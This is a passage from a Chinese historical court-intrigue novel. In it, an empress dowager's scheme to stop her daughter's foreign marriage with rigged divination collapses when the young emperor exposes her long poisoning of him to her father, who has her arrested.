灵芝轻轻躬身,奉上洁牙洁面等物:“明日就是先帝忌辰,想是太后日有所思夜有所梦。”
谢拂霜不动声色地洗漱,没有答话。先帝的忌辰离明绰的生辰只有十天,当年她就是听到了从前线传来的死讯才又惊又急,提前发动。一开始几年谢拂霜还会每年都筹备祭祀,但这个日子离万寿太近,后来为了方便,就在万寿之时多添了一道祭祀先帝的礼仪,并到一日去办了。时间长了以后,谢拂霜心里就只记得那是孩子的生辰,几乎想不起那也是亡夫的忌辰了。
难怪到梦里来相扰。谢拂霜吐出漱口的水,心中微恼。当年棺也接了,魂也招了,难道你还阴魂不散地盘桓在长安么?
想把女儿也带去?想也别想。
谢拂霜突然吩咐:“去召太仆令来给我解梦。”
在门外伺候的听了音,忙唱喏而退。灵芝拿着篦子正蘸头油,一眼瞥见宫人正拿“紫粉”,忙低声喝止:“你没长耳朵?”
这紫粉是近日建康流行起来的,在米粉里加了丁香,用之香气扑鼻,前日里官眷进了来,谢拂霜连用了好几天,很是喜欢。但是太后刚刚说了要见外臣,灵芝见那宫人愣愣的,还没反应过来,劈手从她手中拿走了紫粉,放回妆奁,又换成了太后一直用的素白铅粉。
太后一醒,整个上阳宫便也醒了过来似的,各处都开始走动。梁芸姑手中捧着今日一早送来的官员奏疏走了进来,放在太后手边,然后自然地从灵芝手中接过了篦子,一边给太后梳头,一边汇报:“方才太尉去了含清宫。”
谢拂霜先是一怔:“这么早?”随后又皱了眉头:“父亲哪能出门?”
梁芸姑也道:“听说昨夜里太尉府后门的民巷走了水,太尉都起不了身,还是中书令去把太尉从房中背出来的……”
她话犹未说完,谢拂霜已经猛地转过了头,篦子卡在发间,扯痛了头皮也顾不得,急问道:“什么?!”
“太后放心,”梁芸姑安抚道,“火势不大
,连太尉府的后门都没挨着。”
没想到谢拂霜听完更急了:“那他随意挪动父亲做什么?太医一再嘱咐父亲的肺不能再受寒了,如今夜里这般凉——好了别梳了!”
梁芸姑收回手,跪下来:“太后恕罪。”
“起来。”谢拂霜看了她一眼,“我又不是冲你。”
梁芸姑便站起来:“中书令也是一片孝心。”
谢拂霜闻言便是一声冷哼。她这个阿兄啊,对父亲从不违逆,孝是顶顶孝顺。这火场里救父的事情传出来,朝野里自然又会赞声一片。就是父亲病得像是醒不过来的时候,守在床边的只有她和阿嫂,太医交代的话,也都是对着她们俩。
“都这样了,还非要进宫做什么?”
梁芸姑也摇摇头:“保太夫人没了,怕陛下心里有嫌隙吧。”
“打两个巴掌再给颗枣。”谢拂霜没好气,“还拿萧盈当小孩子!”
“陛下自然不是小孩子了。”
谢拂霜从镜中看她一眼,梁芸姑垂着眼,一下一下地给她把长发梳顺,好像那只是一句再寻常不过的话,没有别的意思。谢拂霜随即朝灵芝斜了一眼,灵芝会意,将刚刚送了早膳进来的宫人又驱了下去,自己跪坐在桌边给太后布菜。房间里没了外人,但梁芸姑也没再说什么,专心地给谢拂霜挽发髻。
谢拂霜闭上眼,只道:“没必要。”
梁芸姑之前已经提过这话了。在公主嫁去大燕这件事情上,太后现在有些束手无策。既然陛下态度鲜明地反对,倒不如向陛下那边伸伸手。
其实此事很好解决,找个官眷来,过继到哪个旁支宗亲名下,赐个萧姓封个公主,段太后远在长安,她能知道什么?眼下无非就是谢家父子做了主,要东乡公主去,朝臣们就都不吱声了。陛下一个人不同意没用,朝臣都欺负他年轻;太后一个人不同意也没用,太尉都病成这样了,她也不能硬要违逆父亲。梁芸姑的意思是,若是太后和陛下两个人一条心了,就算拗不过谢郯,也能拖上些时日。这横拖竖拖,还怕拖不过谢郯么?
可是谢拂霜不愿学父亲“打两个巴掌再给颗枣”。陛下为了宋夫人身故召群臣去含清宫,她是袖手旁观了,可她那么做只是因为,明绰高热不退的时候,宋夫人曾自己泡了冷水浴,再把小公主抱在怀里给她降温。
那天深夜里,谢拂霜听说她从司马门上一跃而下的,想起来的就是很多年前在太医说出“长公主无碍”了的那一刻,她在旁边那个如释重负的笑。
梁芸姑轻声道:“太后,就算陛下知道了那药的玄机,他……”
她没说完,谢拂霜已知道她什么意思,冷哼一声道:“你真是比父亲还小看他。”
梁芸姑便闭上了嘴,顺从地垂了眼,道:“是。”
谢拂霜看着镜中的自己,梁芸姑说话不耽误手上,镜中人片刻间已云鬓峨立,像画上的神仙真人。只是眉头微蹙,尚未敷粉时,眉心可见一道深深的竖纹。谢拂霜看见了,便有意放松了眉毛,可是那一道竖纹仍在,像是已经刻进了肌理。谢拂霜干脆别开眼,全无察觉地又一次紧紧拧起了眉。
陛下现在对东乡公主疼爱,是他觉得公主对他没什么威胁。等他意识到真正和他争的人其实是公主,他还会这样豁出去地留她吗?
萧盈沉默着,已喝完了自己杯中的茶。
谢郯面前的一盏茶还冒着丝丝缕缕的热气,他并未说太久的话,当年的事情到他口中,也不过是几句话。太后收到战报,急痛交加,生下公主后失了神智,仅此而已。倒是为了萧盈的指控,他呼哧带喘地解释了一大篇话。太后只是一时起了妄念,早已迷途知返。这些年来她只是冷漠疏离了一些,“谋害”二字实在是言重了……
萧盈并不反驳,静静地听着,一边以指腹轻轻地摩挲杯沿,若有所思。
从他记事起,谢拂霜一直大权在握,谢郯的态度又始终暧昧不清,谢拂霜做得过分了,他就出面调停一下,但始终纵容,从不动真格的。萧盈一直猜想,太后野心勃勃,或有改朝换代之志,而谢郯既不敢做这个千夫所指的罪人,又忍不住给谢家留一条路,才会这样当断不断。也是因为这份暧昧的态度,萧盈从未敢把太后给他下毒的事情告诉过谢郯。
可是如今照谢郯所说,太后似乎从来没有过自己称帝的雄心,只是为了女儿。
不必说,这个念头实在是太天真了。十五年前的谢拂霜被立为皇后也才一年多,根基不稳,若是真敢抱着一个女婴登基,朝中的宗室、世家,乃至那时还虎视眈眈的陈氏伪朝和西羌,都会把她当成大雍致命的弱点,群起而攻之。此事不容置喙,谢郯一定会拼死拦住。谢拂霜应该也是意识到了这一点,才会捏着鼻子接受了萧盈。哪怕是十五年后,大权在握,宗室无人,太后要称帝还是会激起无数激烈的反扑。
所以,太后想要的,是天子活着,但是病着。就和他小时候一样,沉默地被她摆放在太极殿上,一直活到时机恰当,再顺理成章地死去。公主毕竟姓萧,于法理上,她比太后名正言顺。到那个时候,有太后的支持,公主未必没有机会。
萧盈抬眼看了看谢郯,突然恍然地笑了一声。他终于明白了谢郯为什么是这个态度,谁能想到呢,他才是李代桃僵,令国祚易姓的罪臣,而忠心耿耿,一心光复萧氏正统的,竟是太后。
谢郯垂下头,又说了一遍:“老臣教女无方,实是无地自容。”
萧盈无言看着他,心中却在问他。你也会心虚吗?你也意识到了自己有多么虚伪了吗?为了掩盖这种虚伪,你到底会做到哪一步呢?
他沉默得太久,直到谢郯也终于停了下来,两人无言对望。然后萧盈起了身,身上着一件直裾宽袖袍,饰了日月纹章,金线滚边,贵重无比。只见他双臂垂下,将大袍脱下,然后行至谢郯身侧,跪下来,恭恭敬敬地把头磕了下去。
谢郯大惊失色:“陛下这是做什么?”
“得蒙太尉青眼,这些年忝居此位,朕实在良心难安……”
他顿了顿,伸手捂住了襟口,似是又被牵动了心痛之疾。谢郯惊异地倾身来扶,只见他脸色煞白,额上和眉角都挂了冷汗,连睫毛都湿漉漉的。萧盈眼中淌了泪下来,挣开谢郯,哀哀戚戚地又磕了一个头。
“如今我已命不久矣,请太尉许朕退位,另择明君!”
第29章
谢拂霜歪着身子,轻轻抬袖掩住了鼻子。殿中充斥着一股烧焦的刺鼻味道,明绰一走进来就险些被炭盆绊一跤。
“长公主小心!”
明绰低头一看,只见炭上一团黑乎乎的东西,跟炭差不多,又不是炭。定睛仔细一看,才发现是龟甲碎片。她惊异地张开嘴,刚想问,灵芝已经上来把她牵到了一边。太仆令跪在殿中,朝她行了个礼。
“这是做什么?”明绰小声地问梁芸姑,“母后在卜什么?”
梁芸姑亦小声在她耳边解释:“太后梦见先帝了。”
明绰不解地皱起眉。做了个梦,解梦就是了,何必要用到龟甲?通常不到出征、大灾和年尾大祭的时候,是不会动用龟甲的。而且那龟甲都烧得跟炭一样了,还怎么卜吉凶?
明绰又小声问:“什么梦?”
“先帝梦中哭诉,长安是他大行之地,杀伐不祥,长公主若嫁去,恐婚事不谐,国家不宁。”
明绰:“……”
父皇这不说得很清楚了吗?还要太仆令解什么?
谢拂霜放下袖子,露出了不耐烦的脸,一句话也没说,就朝太仆令扬了扬下巴,示意他说。
太仆令一直跪在地上,双手平举,恭敬道:“吉。长公主与乌兰国主天作之合,必能夫妻和睦,子嗣绵延。”
殿中的气氛一下子冰冷得冻人,所有人都低着头不敢说话,
明绰偷偷觑了一眼母后的脸色,见她的脸拉得老长,从牙缝里挤出了两个字:“再卜。”
太仆令不卑不亢地回答她:“太后,吉凶天定。问再多次,神佛也不会改主意的。”
明绰看了一眼龟甲,大概明白它为什么都被烧成炭渣了。
“本宫不问神佛,”谢拂霜冷笑一声,“本宫问的是你。”
“臣不敢逆天妄言。”
“若当真如你所说,那先帝为何要到本宫梦中哭诉?”
太仆令几不可闻地叹了口气,明绰感觉他约莫是很有一些大不敬的话想说,但很识时务地咽了回去。
“臣……不知为何。”
“那就再卜。”谢拂霜抬了抬手,吩咐下去,“给太仆令再拿龟甲来,卜到他想明白为止!”
她站起来便走,太仆令跪在地下,又叫了一声:“太后!臣乃方外之人,不……”
他不什么,太后已是没有耐心听下去了。明绰加快了脚步,跟着谢拂霜进了里间。她今早睡过了,没有来请安,想着这顿午饭肯定要被母后教训,原本正惴惴难安呢,但谢拂霜看起来根本没空理睬她,挥了挥手就让灵芝伺候她用饭。自己则从梁芸姑手里接了张纸过去,明绰远远地瞥了一眼,见那纸上画的就是龟甲的裂纹。两人翻开一本书,凑在一块儿,小声地议论着什么。
“……这是刑克之兆吗?”谢拂霜指着书上,又指指画着龟甲的纸,“克夫还是克妻?”
“看着不像……”
“那是破?伤?我看看怎么解的……丧偶之虞?”
“太后……”梁芸姑的声音听起来无奈极了。谢拂霜跟她对视了一眼,自己也是哭笑不得。回过头,发现明绰咬着筷子,也在看着她们笑。
谢拂霜也觉得荒唐起来,她本是要借太仆令的嘴说话,谁知那倔驴一心修行,竟如此耿直,就是不肯按照太后的意思来。犟了一早上了,谢拂霜自己都忍不住有点儿信了。
难道那乌兰徵,真是溦溦的天定良缘?
“不行!”谢拂霜重新板起脸,把手里的书一丢,“明日是先帝忌辰,再去请个道士来,开坛扶乩!”
明绰忍着笑:“父皇都说得这么明白了,何必还要扶乩?”
谢拂霜让她问得哑口无言,狠狠地瞪了她一眼:“我都是为了谁啊?”
明绰赶紧收敛,放下碗筷去扶她:“为了我为了我……哎呀母后别气,快吃饭吧,再等一会儿,桌上的菜全成了烤甲鱼味儿了。”
谢拂霜被她拉着到饭桌上坐下,原本还绷着脸,听到她最后一句,实在忍俊不禁,伸手在她额角狠狠点了一下。
明绰顺势黏上来:“母后,你真的梦见父皇啦?”
谢拂霜低头看着她,很轻地“嗯”了一声。
“父皇说什么了?”明绰眨眨眼睛,她对先帝一直都很好奇,谁若是提到了有关先帝的事情,她总是会缠着问个没完。谢拂霜伸手拢了拢她的鬓角,眼中泛起一股心疼,却没有回答这个问题。
她的父皇什么都没说,只是沉默着把她带走了。可是这样的话,谢拂霜怎么忍心告诉女儿。
“母后还没有问过你,”谢拂霜突然说,“你愿意嫁给乌兰徵吗?”
明绰立刻放开她,戒备地往后一仰,好像母后突然背叛了她的信任。
“母后!”明绰把眼睛睁得大大的,“都刑克丧偶了!”
谢拂霜让她逗笑了,点了点头。好,那就是不愿意。管是什么天定姻缘,她也非得拆了不可。
“搬出父皇,会有用吗?”明绰仍有些不放心,“咱们的朝臣自然是要顾忌先帝的,可段太后不会觉得我们在敷衍推托?”
“哪里敷衍了?”谢拂霜不以为意地给她夹菜,“到时候无论是谁嫁过去,该有的尊贵体面一样都不会少。只要是个公主,那就不是敷衍,段太后心中自有计较。”
明绰便笑了,不会让她嫁去大燕的话,萧盈也说了。听见萧盈说,她心里是觉得甜滋滋的,很受用。可是母后说这样的话,她才真的觉得踏实,放心了。
谢拂霜低头吃着饭,突然又问:“昨天去哪儿了?”
明绰的笑容还停留在脸上,闻言便僵了僵,避重就轻地回答:“去了袁府……看桓姐姐去了。”
谢拂霜看了她一眼:“你几时同桓宜华这般要好?”
明绰面不改色地胡扯:“一直挺好的呀,不信母后去问星娥!”
谢拂霜只笑了笑,没起疑。当时王执瑈刚进宫来,明绰和她争论的就是桓宜华的婚事。她一直站在桓宜华那边,倒也不假。
明绰小时候的女伴很多,可是自从把她送进含清宫进学,她的生活里就只剩下了皇兄,连表妹谢星娥都要排到后头去。她会跟桓宜华要好,多半还是因为萧盈跟袁煦好。
谢拂霜原先没有想到这个。她自己幼时的手帕交,也是走着走着就都物是人非了。女儿是公主,自然是比太尉之女还要尊贵,以后越往高处走,越是要孤家寡人的。但这会儿想起来,尤其是意识到“她只有萧盈”这一点,又突然觉得很不舒服了。
“也好,”谢拂霜也没教训她,“芸姑,去下道旨,让桓宜华时时进宫来陪长公主说说话。”
这下明绰反而愣住了:“啊?”然后赶紧拦住梁芸姑,“且慢且慢……”
上一个被太后宣召进宫“陪伴”公主的可是王执瑈,什么下场,大家都看见了。这旨意要是下到袁府,还不把桓宜华吓死。
明绰想了想,只好承认:“我也没那么喜欢桓姐姐。”
谢拂霜轻轻挑了眉,一脸问询地看着她:“那你还为了桓宜华跟王执瑈吵嘴?”
“那是两码事。”明绰想了想,“桓姐姐张扬,连大将军的鞭子都不怕,非要嫁给袁煦。可她嫁了,我瞧着也不怎么称心如意,连夫君的面都见不着,就要为了他打点操持,孝顺婆母,照顾幼弟……”
而且她去的时候,发现桓宜华特别小心。就算敲门的是她嫡亲的兄长,也要隔了门说话,听说来的是长公主才开了门。想来还是因为丈夫不在家,她要尤其小心自己的名声。明绰一想,桓宜华未嫁的时候,都敢跑去校场看执金吾卫,如今过得这般谨小慎微,就觉得没意思极了。
谢拂霜好像不太明白她在说什么:“女子嫁了人都是要为夫君打点操持的。你父皇不在了,我也是在替他操持这份江山。”
“那我不要。”明绰撇撇嘴,“女儿谁也不嫁。”
谢拂霜只好微微板了脸:“胡说。”
明绰马上指向梁芸姑:“芸姑就没嫁,母后怎么不说她?”
梁芸姑马上告饶:“我的好公主,怎么还饶上我了?”
“芸姑不一样。”
明绰不服:“哪里不一样?”
梁芸姑:“太后,这顿饭奴婢可是不敢伺候了!”
谢拂霜伸手去拉她:“你别理她!”一面又瞪明绰:“以后不许你再说芸姑!”
明绰便吐了吐舌头,朝谢拂霜做鬼脸。其实她知道梁芸姑哪里“不一样”。她的祖父本是前梁的重臣,也是大族出身。萧氏以雍代梁虽是名正言顺,但她祖父迂腐,坚决不愿意在大雍出仕。赋闲几年之后,被人告了一状,说他有谋逆之心,想煽动士人复梁。梁氏全族杀头的杀头,流放的流放,也算是大雍开国第一案。
梁芸姑的父亲是家中最小的儿子,当时未满十五,逃过了重刑,没入掖庭为奴。她的母亲也是掖庭的宫人,梁芸姑就出生在掖庭。后来谢拂霜被立为皇后,她就被调到皇后身边伺候。若不是后来谢拂霜在宫中开女学,连宫女们都被允许读书考学,她也不会有机会成为今天的女史。
梁芸姑被封女史那天就已立了誓,她不嫁人,不生子,这一辈子都要用来侍奉太后。
可是明绰不觉得她苦。从小梁芸姑就伴着她,她自己有
眼睛,梁芸姑过得可比桓宜华自在。
“你啊,”谢拂霜又凌空点点她,唇边已带了笑,“你可记住你现在的话。等你以后看上了谁,再来求我的时候——芸姑,你可把今天的日子时辰都记下,到时候好好臊一臊她!”
梁芸姑马上应:“记下啦!”
明绰扬起下巴:“我才不会呢!”
“长公主这是情窦未开,还不懂事呢。”
明绰一下就被激起来:“谁说我不懂?”
“哟!”谢拂霜一下坐直了腰,和梁芸姑对视了一眼,“这是有意中人了?”
明绰察觉到不好,马上低下头,但脸已经没忍住红了:“没有。”
那这就是有了。谢拂霜当即放下筷子,拉住了女儿的手,让她转过来看着自己:“你跟母后说,是谁?”
“真的没有!”
她越说没有,脸上就越红,简直不打自招。谢拂霜都看笑了,又顾及着女儿羞恼,把笑意收敛了一些:“你就说嘛,母后也好替你安排。”
明绰听见这话便也笑了,只问:“我说谁,母后都替我安排吗?”
“那自然也不是谁都行。”谢拂霜想了想,脸已经板起来,“不能是袁煦吧?”
明绰都要发火了,怎么又是他:“难道全建康就剩他一个了不成!”
“不是就好。”谢拂霜想了想,那她和桓宜华突然要好……“难不成是桓湛?”
明绰已经甩了她的手,有意把脸扭开。谢拂霜瞧这反应是真恼了,便也不再闹她,好一会儿,又叮嘱似的说了一句:“要紧的还是家世上相配。”
明绰没吱声,咬定了主意不理睬。要说家世,那还真是天底下最“相配”的了,只可惜此事没得商量。
明绰说不明白她和萧盈之间是从什么时候不一样的,可能从很小的时候就开始了。那时他还不知道母后恨他,见到她来便高兴,笨拙地用蜜饯果子和羊奶醍醐留住她。他什么都没说,她就已经知道他的孤独。她愿意陪着他,不想再看他难过,伤心,害怕。那时愿意,现在也愿意。看见他去校场比在含清宫跟她上课还高兴,她心里就不乐意。她希望皇兄高兴,但又希望他只能为了她才高兴。
夫妻尚有聚散离合,可萧盈只要还坐在皇位上,就只能永远做她的皇兄。
他们可以永远都不必分开。
第30章
自从出了王执瑈的事情以来,母女两个已是许久都没有这样谈笑风生地吃上一顿饭。一时饭桌上只听见笑语盈盈,连宫人来报,说太仆令闹着要辞官,都没扰了谢拂霜的兴致。没一会儿又有人回来报,说太仆令退了一步,愿意用蓍草重新占卜,只是要长公主亲自去拈草。
谢拂霜听了也只是大笑,朝梁芸姑使了个眼色,她便出去了。
明绰瞧着她心情好,斟酌着用筷子拨了拨碗底几粒米,突然道:“母后,我最近听说了一件事……”
谢拂霜仍是笑着:“什么?”
明绰抬起头:“穙齐香用的那个树其实是有毒的。母后,要不以后宫里就别点了吧?”
谢拂霜一瞬间就变了脸色,明明那笑容还没来得及消失,眼睛却冷了下去。她好一会儿都没说话,就这么定定地看着女儿。那眼神甚至谈不上意外,而只有一股失落。明绰让她看得心里一痛,不自觉低下了头。
“可是母后头疼,”谢拂霜的声音变得淡淡的,“只有穙齐香管用。”
明绰不敢抬头,只道:“总还有别的法子。”
“若是没有呢?”谢拂霜问她,“你就不管母后的死活了吗?”
明绰咬紧了下唇,什么都没说。谢拂霜的话压在她心头,让她生出无数的内疚和歉意。明明她只是想让母后停手,谢拂霜两句话一说,就成了她的不孝。半刻前的笑语盈盈多么难得,一瞬间已经全都成了泡影。
明绰站起来,轻声道:“母后,女儿先告退了。”
她转身想走,可是刚转过身,就听到谢拂霜在背后说:“溦溦,如今我们要好好地吃一顿饭,就这样难吗?”
明绰脚下一顿,瞬间便涌上了泪意。这话她都酝酿了许久才说出了口,还要怎么说得更直白呢?直接说母后尽可以用那树汁做成的熏香,但是别再把有毒的叶子喂给皇兄了?那无异于指控太后谋害天子,大雍律都强调了“子不告父,亲亲相隐”,岂不更是她这个做女儿的不是了?
她迅速地擦去了眼泪,回过头去挤出了一个笑容:“哪有?我就是去太仆令那里拈几根草,给他个台阶下。母后,你就高抬贵手吧。”
谢拂霜深深地看着她,许久,也笑了笑,点点头:“去吧。”
明绰转过身,逃也似的跑开了。梁芸姑正好回来,瞧着不见了人,太后脸色也不好,便先叹了口气:“这是又怎么了?”
谢拂霜疲倦地挥了挥手,不愿多说:“她去给太仆令台阶下了。”
梁芸姑微微挑眉,没说什么。她方才劝了太仆令两句,这“方外之人”也不是完全不通世情,没那么硬的骨头,长公主去给个台阶下正好。她唤了人进来,把桌上的残羹收拾去,一边跟太后汇报。从早上她就让人看着含清宫了,刚才有人来报,含清宫传了太医。
谢拂霜猛地睁大了眼睛。
卞弘跪在太尉面前,冷汗潸然而下。萧盈腕上已施了针,面色好看许多。倒是谢太尉的脸色更吓人一些。
“你再说一遍,”谢郯嗓音沙哑,“那个什么……梨树?”
卞弘赶紧接话:“顶勃梨咃树。”
“有毒?”
卞弘低下头:“是。”
“陛下的心痛之症,就是因为这毒?”
卞弘恨不得把头低到地底下去:“是。”
谢郯不说了,他下一个问题本来是“是太后?”可是已没有必要问了。卞弘抬头看了一眼他的表情,战战兢兢地动了一下,好像想给太尉摸摸脉,怕他又厥过去。可是还没触到太尉的手,就听到他又说:“你瞒报多年,该当何罪?”
卞弘立刻缩回去,以头抢地:“臣万死!”
“卞大人,”萧盈把手腕伸给他,“起针吧。”
卞弘膝行两步上前,赶紧给萧盈拔去了针。萧盈随即摆了摆手,轻声道:“下去。”
卞弘连滚带爬地就出去了。
“太父不要怪卞大人,”萧盈有气无力,“这么多年,卞大人为了缓解朕的痛苦已经尽力了。那太医署的小吏便是他的弟子,若非他授意,恐怕到现在朕还蒙在鼓里。”
谢郯什么都没说,盘膝坐在原地,胸膛剧烈起伏,胡须颤了又颤。萧盈先下手为强,不叫他再有机会把事情推到卞弘头上,再和一次稀泥。太后下毒之事是萧盈的底牌,他捂了三年,就是等着最后摊出来的时候直击要害,逼谢郯做个决断。
若是到了这份上,谢郯还是选择站在女儿那边,那萧盈也只有愿赌服输。
“太父千万小心身子,再不可动怒了。”萧盈摇摇头,一脸万念俱灰的样子,“事已至此,还是请太父废了朕,在长沙王二子中择贤另立……”
谢郯闭上眼,滚下了一行眼泪:“陛下这话,不是剜老臣的心么!”
他留着那两个孩子,其一是被方千绪那句“萧氏儿郎哪个不是死在你手上”戳了心,偏要留两个活口,也不知证明给谁看;其二才是警示。与其说是警示天子,不如说是震慑群臣,在他们面前再一次强调,太尉若是想,随时可以废立天子。大雍的朝廷,还是在谢氏掌中。
可若论及当真废立天子,谢郯从未想过。
且不说这二子的资质有没有萧盈的万分之一,李姬选的是长沙王最年长的两个儿子,一个十六,一个十三,都是在长沙王就藩之前便已记事。无论如今他们面上多么恭顺,在心里,谢氏就是杀父仇人。谢郯要从他们当中另立新君,不如这就回家,在太尉府的水井里撒一把砒霜,全家还走得痛快些。
萧
盈见他落了泪,自己也抬袖子擦眼睛,说得情真意切:“朕从未怪过太父……都是太父仁慈,送阿娘入宫,好歹全了盈儿这些年母子亲情。不然朕到死,都没有一日有娘亲疼爱!”
谢郯让他说得心头剧震。他为何要送宋玉桥入宫?不就是因为知道太后下手的狠毒,才要生母来护佑吗?他明明就是很清楚自己的女儿能做出什么事,可他却视若无睹,一再纵容,才让这样的事情发生在他眼皮子底下。
谢郯仰天叹了一声,忽然猛捶了自己的胸口一下:“悔不当初啊!”
萧盈赶紧抓住他的手,伏到他膝上,哭得呜呜咽咽。谢郯低下头,把手掌覆在他的后脑,老泪纵横。
“盈儿,”谢郯摸了摸他的头发,轻声道,“你已经是天子。你一直都会是……天子。”
他早已没有回头路了。
萧盈没有抬头,他的眼睛在谢郯看不见的地方变得冰冷而讽刺,可是说出来的话却仍像个受了委屈的孩子:“那太后就一直都会是天子的母亲。”
谢郯只道:“我还没咽气呢。”
门外突然传来任之意外的声音:“太后怎么——?”然后便是他提高了嗓音,仓促的通报声,“太后到!”
萧盈立刻从谢郯的膝头起来,抹去了脸上的泪痕。下一刻,谢拂霜已经闯进了含清宫:“父亲——!”
然而迎接她的是谢郯阴沉之极的脸,谢拂霜心里一震,停在了原地。
萧盈站了起来,不冷不热地叫了一声:“太后。”
谢拂霜理都没有理他,只是看着谢郯:“父亲没事吧?我听说含清宫里传了太医……”
谢郯冷笑了一声:“你的耳报神可真快啊。”
谢拂霜立刻闭了嘴,这情形看起来不对。谢郯伸出了手,萧盈自然地给他搭了一把,扶他站了起来。谢拂霜看着一搀一扶的两人,似是明白发生了什么,往后退了一步。然而谢郯不知道哪来的一股力气,竟然挣开萧盈的搀扶,自己走了几步,站到了谢拂霜面前。
“父亲……”
她的话没有说完,谢郯突然扬起手,狠狠地在她面上打了一记耳光。下手太重,打得谢拂霜整个人都摔了出去,头上沉重的金钗“当”的一声摔在了地上。谢拂霜只感到耳朵里“轰”的一声,有那么一会儿什么都看不清了,只有一片阴影挡到了她面前,她在感觉到火辣辣的疼之前,只觉得麻。然后声音才重新进了耳朵,和羞辱一起,重新刺痛了她的一切感官。
拦在她面前的是梁芸姑:“……太尉这是以下犯上!”
谢郯胸膛剧烈起伏:“贱婢,让开。”
梁芸姑一步都不肯退:“太尉是臣,太后是君!若是再敢进一步——”
她的话也没有说完,两边来了人,把梁芸姑拖到了一边。谢拂霜挣扎着想要站起来,看清这都是些什么人——他们怎么敢?!
然后是谢郯的声音:“把太后拿下。”
拿下?谢拂霜好像听不懂这两个字。但是真的有人上来摁住了她,梁芸姑发出了一声绝望的嘶叫,挣扎得鬓发散乱,想扑上来救她。谢拂霜并没有挣扎,只是怔怔地想,她不该就这样只带着梁芸姑就来,含清宫不是她的地盘,若是在上阳宫……
“太尉这是要做什么?”谢拂霜看着谢郯,终于重新积攒起几分太后的尊严,每个字都问得掷地有声,“造反吗!”
“大逆不道的是你!”谢郯上前一步,好像恨不得要再给她一个巴掌,谢拂霜昂起了脸,挑衅般地怒视着他。谢郯的手高高举起,最后又无力地落了下来,痛心疾首地摇摇头,“毒害天子是什么罪行?谢氏全族险些毁在你手里!”
谢拂霜一下子明白了,立刻转头看向了萧盈,看清了他脸上尚未干透的泪痕,便失控般地大笑了起来。多么可笑啊,她还以为萧盈为了宋夫人之死悲痛如斯,甚至在群臣面前闹到那般地步,这一次怎么也不可能忍得下去。
可偏偏在对付她的时候,他们之间就是这样牢不可破。
“毁了谢氏全族的是你。”谢拂霜极力往前倾,几乎挨着谢郯的脸,耳语如诅咒,“他绝不会放过谢家……”
谢郯扭过脸,不愿看她:“先把太后带下去。”
谢拂霜挣了一下:“你忘了方千绪说过的话了吗!”
谢郯牙关绷紧,看起来几乎要站不住了。谢拂霜热切地看着他,指望着这个名字能在谢郯身上施展什么法术。就是因为方千绪那些话,在谢郯心里扎下了怀疑的根,他才会突然要拿宋夫人来辖制天子。他心里明明也有恐惧,明明也有猜忌……
谢拂霜几乎是哀求地又叫了一遍:“父亲!”
可是谢郯转回来,重新看定了她,说出来的却是:“谢家不是只有你一个人能当皇后。”
萧盈突然动了,就在那一刻,他终于意识到了与虎谋皮的代价。可是谢郯已经转过来,朝他跪了下来。
“陛下,老臣厚颜,向陛下举荐自己的孙女。”谢郯说,“谢氏星娥,夙怀庄敬,仪范端凝,请立中宫,册皇后位。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第31章
“此卦为天地否。”
明绰撑着下巴,看着太仆令,微微颔首,示意他解卦。
太仆令:“天地不交,阴阳相悖,君子道消,夫妻情乖,内有龃龉,外有嫌隙。六爻之中,五爻动,化火泽睽,睽者,乖也,志不相投,终日纷争,怨怼难解。更凶者,六爻动又化山水蒙,蒙者,昏也,子嗣不昌,恐多夭折,家门难安。”
明绰没忍住坐直,眉头紧皱:“可是都还不知道皇后会是谁呢……”
太仆令也轻轻变了脸色:“长公主问的是陛下?”
明绰马上否认:“不是。”
太仆令已为她拈草问卦,先问了她的婚姻。跟方才烧龟甲的情况差不多,无非是“天地交泰、阴阳调和”的好话,说她和乌兰徵是天定良缘。明绰有一搭没一搭地听,觉得太仆令嘴里恐怕就没有不好的卦,于是有意换了个人问,却不告诉他是谁。
拈草的时候,明绰问了萧盈的婚事。
“我瞎问的,这不作数。”明绰伸手把蓍草拂乱,“婚姻大事,单问一个人的运哪问得出来?”
太仆令脸色担忧:“长公主……”
但他还没来得及说话,外面传来一阵异响,明绰被吸引了注意力,转过了脸。
太仆令似是没听见那些动静,看着手中为明绰记录的卦象,还在说话:“长公主方才的卦象中有一变,九五爻动,化巽为风。巽者,入也,风行无形,潜藏变数……”
明绰“嗯、嗯”地敷衍他,半个身子已经起来,想看看外面发生了什么。似乎有个男子的声音正在跟灵芝说话,语气听着不甚好。
太仆令:“长公主要小心一个女人。”
明绰转回来:“什么?”
太仆令:“乌兰国主身边的女人。此女恩宠盛隆,但怀不平之志。若不慎对之,风起则倾,雷震则覆。”
明绰:“……”
什么劳什子天定良缘,还要她去跟别人抢夫君?
外面的声音更大起来,明绰眼角余光瞥见金甲一闪,又来了一个人。明绰立刻站起来,敷衍了太仆令一句,忙奔了出去。果然有两个执金吾卫正在太后的寝宫门前,但是被灵芝拦住了。见到明绰过来,两个执金吾卫都往后退了一步。
“长公主。”
“怎么了?”明绰悄声地问灵芝,“母后呢?”
“太后听说含清宫里传了太医,怕是太尉又不好了,去看一眼。”灵芝小声地在明绰耳边飞快地回答,“这两位说是奉了太后之命,来取执金吾卫虎符。”
明绰马上转过脸去看两位
身穿金甲的军侯:“是太后派你们来的?”
“正是。”
“母后要虎符何用?”
那两人却不答了。明绰拧起眉头,眼神越发怀疑。母后要去含清宫,多半会带着梁芸姑,真的遇上了什么事要取虎符,她肯定会让梁芸姑回来取。
——但好好的,为何要取虎符?
“长公主。”又一个声音传来。
明绰抬起眼,只见身着中尉金甲的人也走进了殿中。短短一年,这已经她见到的第三位执金吾卫中尉了。但谢维和之前两位都不一样,同样的金甲,他穿在身上却少奢靡贵重之气,多杀伐果决之风。宽肩蜂腰螳螂腿,一看就是个常在马上的武将。脸倒是生得跟谢聿有六七分像,但整个人往那里一站,感觉一拳头能打死十个谢聿。
“舅舅。”明绰朝他行了一礼。
谢维上上下下打量她两眼,露出了一个笑容:“长这么大了?当年我去幽州的时候,你才这么一点儿……”
他两只手比划了一下,明绰低头一看,那最多也就是个瓜的大小。
谢维把话说完:“一转眼都要嫁人了。”
明绰控制了一下面部表情,没表现出任何不悦,只道:“舅舅戍边辛苦了。今日怎么进宫来了?有何公干吗?”
谢维含着笑看她,并不答话。那笑容颇有些意味深长,好像觉得没必要跟一个小孩儿说这么多,反而突然道:“乌兰徵很不错。”
明绰一愣:“啊?”
“他父亲伐陈之前,派他来幽州找我借兵。”
明绰想忍住追问的冲动,但这还是第一次有人真的见过乌兰徵。她抿了抿嘴,还是忍不住道:“舅舅借了吗?”
